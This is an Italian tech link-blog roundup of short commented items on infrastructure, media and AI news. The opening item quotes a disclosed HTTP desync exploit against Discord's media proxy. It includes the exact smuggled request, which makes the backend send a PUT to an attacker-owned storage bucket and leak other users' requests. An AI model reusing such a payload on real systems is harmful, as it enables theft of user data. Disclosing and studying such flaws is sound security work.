Note di Matteo

Ci laviamo la coscienza con la modulistica per non prenderci la responsabilità di cambiare davvero.

Carlotta Silvestrini

HTTP desync in Discord's media proxy. Vulnerabilità interessante nel proxy di Discord verso il bucket Google Cloud Storage:

I sent the following request to the media proxy:

GET /attachments/%20HTTP/1.1%0AHost:x%0A%0APUT%20/request.txt%20HTTP/1.1%0AHost:myevilbucket.storage.googleapis.com%0AContent-Length:250%0A%0A HTTP/1.1
Host: media.discordapp.net

Which caused the backend to send out these two requests to GCP:

GET /attachments/ HTTP/1.1
Host:x

PUT /request.txt HTTP/1.1
Host:myevilbucket.storage.googleapis.com
Content-Length:250

 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.6; rv:92.0) Gecko/20100101 Firefox/92.0
Host: discord.storage.googleapis.com

The PUT request expected 250 bytes of data but only ~150 bytes were given, meaning that the deficit would be eaten from whatever gets written to the stream next, i.e., the next borrower’s request.

And sure enough when I checked a moment later, my request.txt had an attachment link in it I’ve never seen before: [...]

It feels to me that a good part of the industry is using token count numbers similarly to how the lines-of-code-produced metric was used years ago. There was a time when the number of lines written daily or monthly was an important metric in programmer productivity, until it became clear that it’s a terrible thing to focus on. A lines-of-code metric can easily be gamed by writing boilerplate or throwaway code. Also, the best developers are not necessarily those who write the most code; they’re the ones who solve hard problems for the business quickly and reliably with – or without – code!

Similarly, the number of tokens a dev generates can easily be gamed, and if this metric is measured then devs will indeed game it. But doing so generates a massive accompanying AI bill!

Gergely Orosz in The Pulse: ‘Tokenmaxxing’ as a weird new trend.

The Human Infrastructure: How Netflix Built the Operations Layer Behind Live at Scale. Un po' di backstage della nuova linea di business di Netflix: gli eventi live.

Duolingo's Kubernetes Leap. Non l'ho visto, ma qui Duolingo spiega la migrazione da AWS ECS a EKS.

To give you an idea of the scale that we're looking at, Duolingo currently has over 128 million monthly active users, and we have over 250 courses that you can learn on the app. [...] On the engineering side, we have over 400 engineers and more than 500 backend services, just to give you an idea of the scale of this migration that we're going to be looking at today.

Previously, the 500-plus backend services that I mentioned at the beginning are running on AWS ECS. We have some workloads that are running on different infrastructure, but for the mass majority, they're on ECS. That's what I'm going to be focusing on. We're going to be moving from ECS to EKS. ECS is AWS's container orchestration solution. It's a managed solution. It's very simple and straightforward to use. We've been actually super happy with ECS over the past year, and it served our needs very well. Now as we've grown to a much bigger scale, as I mentioned, Kubernetes just offers a much more feature-rich ecosystem and open-source platform, as well as specific features that ECS does not give us.

Healthchecks.io Now Uses Self-hosted Object Storage. Il maestro del self-hosting ora self-hosta anche uno storage S3-compatible, basato sul file system:

Versity S3 Gateway turns your local filesystem into an S3 server. An S3 PutObject operation creates a regular file on the filesystem, an S3 GetObject operation reads a regular file from the filesystem, and an S3 DeleteObject operation deletes a file from the filesystem. It does not need a separate database for metadata storage. You can use any backup tool to take backups. The upgrade procedure is: replace a single binary and restart a systemd service. It is written in Go, and is being actively developed. The one bug I found and reported was fixed in just a few days.

Il tradeoff è l'assenza di HA e replicazione:

With this setup, if both drives on the object storage server fail at the same time, the system could lose up to 2 hours of not yet backed-up ping request bodies. This can be improved, as usual, with the cost of extra complexity.

E costa di più:

The costs have increased: renting an additional dedicated server costs more than storing ~100GB at a managed object storage service. But the improved performance and reliability are worth it.

Oh, chiude Wired Italia. Unprofitable, a differenza delle altre edizioni in altri Paesi dove la strategia si è spostata dall'occuparsi solo di tecnologia a temi più politici, con successo di abbonamenti.

Aggiornamento: non lo sapevano nemmeno loro. Dal Post:

Nel 2015 la redazione era già stata dimezzata, da 12 a 6 giornalisti, sempre per la necessità di ridurre i costi e rimettere in ordine i conti: anche all’epoca le pubblicazioni erano state interrotte prima di riprendere a cadenza trimestrale dopo la riorganizzazione della redazione. Oggi la redazione è composta dal direttore, da tre giornalisti, cinque grafici, tre collaboratori fissi e molti giornalisti collaboratori occasionali.

Fonti di Condé Nast Italia che hanno chiesto di rimanere anonime hanno detto che l’azienda ha comunicato la chiusura alla redazione dieci minuti prima di pubblicare il comunicato online. Sostengono inoltre che i dati citati dall’azienda non abbiano fondamento e che nelle ultime settimane non ci fosse stata nessuna avvisaglia di possibili ridimensionamenti o addirittura rischi di chiusura. L’azienda non ha comunicato quando si interromperanno le pubblicazioni né come intende gestire l’eventuale uscita o il ricollocamento dei giornalisti e dei grafici: per ora rallenterà la frequenza di pubblicazione degli articoli sul sito internet, ma non è ancora chiaro da quando non sarà più aggiornato.

Oltre al sito e alla rivista, negli ultimi anni Wired Italia ha organizzato diversi festival come il Wired Next Fest. Lynch ha detto che Wired continuerà a organizzare eventi in Europa, gestiti dal Regno Unito, ma anche in questo caso non è ancora chiaro come.

Penso uno dei design più confusionari che ho mai visto in un'app ("TO Move"):

I tre tipi di software engineer secondo The Pragmatic Engineer:

• Builders: those who care about quality, good architecture, following good coding practices, and who talk about the craft of software engineering, etc.

• Shippers: those who primarily focus on outcomes for a product, features, testing, and experimenting with users. A fair number of leaders, managers, and engineers who were more hands-off with coding before AI tools are in this category, as are product engineers.

• Coasters: engineers who are not considered particularly good or great engineers, but they get the work done. They often do this without much taste or concern for quality, and seem to be mostly coasting along and doing what they’re told.

Con l'AI, queste categorie restano ma con diversi livelli di entusiasmo e pro/contro. Il resto nell'articolo.

Il Times scrive meno articoli e, sorpresa, il traffico aumenta:

[...] i risultati esposti dalla responsabile del digitale del Times, storico quotidiano e sito di news britannico. Anna Sbuttoni ha detto al sito Press Gazette che il giornale avrebbe ridotto il numero di articoli pubblicati del 25% (da 200 a 150 al giorno, in media) senza che questo abbia diminuito il traffico sul sito, che anzi sarebbe aumentato nell'ultimo mese del 13% e addirittura del 29% sull'anno prima.

Secondo Sbuttoni la diminuzione della quantità si sta accompagnando a un lavoro sulla qualità fatto da cinque criteri: scrivere più articoli che non si trovano altrove; raccontare, per le storie coperte anche da altri, cose che non si trovano altrove; seguire le storie in corso, usando molto i live blog; usare i dati per dare concretezza e interesse agli articoli e rimuovere tutto il testo inutile; titolare e presentare gli articoli in modo che i lettori sappiano "perché dovrebbero cliccare".

How the economics of multitenancy work. Blacksmith spiega come un cloud CI con workload variabili e con molti spike diventa economicamente sostenibile con l'aumentare dei clienti:

Over time, CI jobs start behaving like a Poisson process — random, short bursts spread out across time. From a distance, what once looked like sharp spikes from individual customers smooths into a predictable pattern. The more customers we serve, the less intense each individual spike appears. In short: the more chaotic it gets, the better it is for our business.

[...]

Basically, our revenue scales with the average utilization of the fleet. There’s a direct link between utilization and gross margins, and it’s not linear.

• At 10% utilization, we’re already hitting around 35% gross margins.
• At 20% utilization, margins jump to about 70%.
• At 35% utilization, we’re flirting with 85%+ gross margins.

Keeping a Postgres queue healthy. Il titolo nasconde un approfondimento sul funzionamento del vaccum in relazione alle tuple eliminate in PostgreSQL.

Space Kangaroo su YouTube mi fa sempre ridere, prende cose che le AI non sanno fare e i risultati sono assurdi. Il montaggio è stupendo. L'ultimo è Google Gemini tries to play Minesweeper.

Improving storage efficiency in Magic Pocket, our immutable blob store. Dropbox spiega come funziona il suo sistema di storage per i dati degli utenti, e come un bug ha portato ad avere volumi di storage usati solo in piccola parte e come poi sono stati "ricompattati".

Magic Pocket is the core Dropbox storage system—a custom-built, exabyte-scale blob storage system designed for durability, availability, scale, and efficiency. It holds user content, which means it must be safe, fast, and cost-effective to scale with the company. For Dropbox, storage efficiency really matters. We measure it by looking at how much total disk space we use compared to how much user data we’re actually storing.

L'architettura anti-DDoS di Cloudflare:

Here is what actually happens when an attack hits our network. Packets arrive at the network interface card (NIC) and immediately enter an eXpress Data Path (XDP) program chain managed by xdpd, running in driver mode. Among the first programs in that chain is l4drop, which evaluates each packet against mitigation rules in extended Berkeley Packet Filter (eBPF). Those rules are generated by dosd, our denial of service daemon, which runs on every server in our fleet. Each dosd instance samples incoming traffic, builds a table of the heaviest hitters it sees, and broadcasts that table to every other instance in the colo. The result is a shared colo-wide view of traffic, and because every server works from the same data, they reach the same mitigation decision.

When dosd detects an attack pattern, the resulting rule is applied locally via l4drop and propagates globally via Quicksilver, our distributed key-value (KV) store, reaching every server in every data center within seconds. Only after surviving l4drop do packets reach Unimog, our Layer 4 (L4) load balancer, which distributes them across healthy servers in the data center. For Magic Transit customers routing enterprise network traffic through our edge, flowtrackd adds a further layer of stateful TCP inspection, tracking connection state and dropping packets that don't belong to legitimate flows.

The 31.4 Tbps attack we mitigated followed exactly this path. No traffic was backhauled to a centralized scrubbing center. No human intervened. Every server in the targeted data centers independently recognized the attack and began dropping malicious packets at line rate, before those packets consumed a single CPU cycle of application processing. The software is only half the story: none of it works if the ports aren't there to absorb the traffic in the first place.

La chiave alla fine è l'ultima frase: devi prima avere la capacità di rete, motivo per cui è ormai estremamente difficile che nascano nuove aziende nel settore che facciano il percorso di startup che ha fatto Cloudflare (il traffico Internet di oggi non è quello del 2010).

Firn is a high-performance, multi-tenant vector and full-text search engine backed by object storage (S3 / MinIO / R2 / GCS). It is designed as a credible open-source alternative to turbopuffer, proving that a professional-grade tiered storage architecture (RAM → NVMe → S3) is achievable entirely from open-source components. The cost efficiency of S3 with the speed of local RAM. A multi-tenant vector and full-text search engine backed by S3. Built with LanceDB and Foyer for microsecond-scale search latency on top of object storage.

Two Years of Valkey. Un'analisi dell'attività git di Redis e il suo fork Valkey negli ultimi due anni. In breve, Valkey, se la cava meglio del previsto, con elevata attività nelle repository in buona parte grazie al contributo di Amazon, Tencent, Ericsson e altre grandi aziende:

Qua il contesto:

Two years ago last month, a group of former contributors to the Redis project announced their intention to collaborate instead on a competitive fork. Triggered by the decision to shift Redis away from the permissive open source BSD license to source available alternatives – the Redis Source Available License (RSALv2) and Server Side Public License (SSPLv1) – the new fork, Valkey, attracted attention without recent precedent. A lot has happened since, including the return to the project of its original author and the decision by Redis a little over a year after the relicensing to return to an open source license, albeit the copyleft AGPL rather than the more permissive, original BSD. Given the two year anniversary, it’s worth taking stock of the two projects via their commit metrics. This is only one facet of the project’s health, obviously, and does not reflect usage, but as forks typically enter a decline phase shortly after their inception, comparing the two projects contributions should be a useful exercise.

Le stacked PR su GitHub sono in preview:

Arrange pull requests in an ordered stack and merge them all in one click. Each PR represents one focused layer of your change, reviewed independently and landed together.

The gh stack CLI makes it easy to create stacks, perform cascading rebases, push branches and create PRs, and navigate between layers — all from your terminal.

Alexa che ritiene che S. Luigi IX sia il 12 aprile (è il 25 agosto):

Gemini che sostiene che il 12 aprile sia Pasqua anche per i cattolici in Italia, inventadosi regole inesistenti per giustificare la data:

(Gemini Flash, I know.)

Come sta Satispay dopo aver raccolto mezzo miliardo? Giulio Michelon riassume la storia di Satispay, che è on track per diventare profitable dopo un decennio e mezzo miliardo di investimenti, in grossa parte grazie alle nuove feature di welfare aziendale (buoni pasto e acquisto).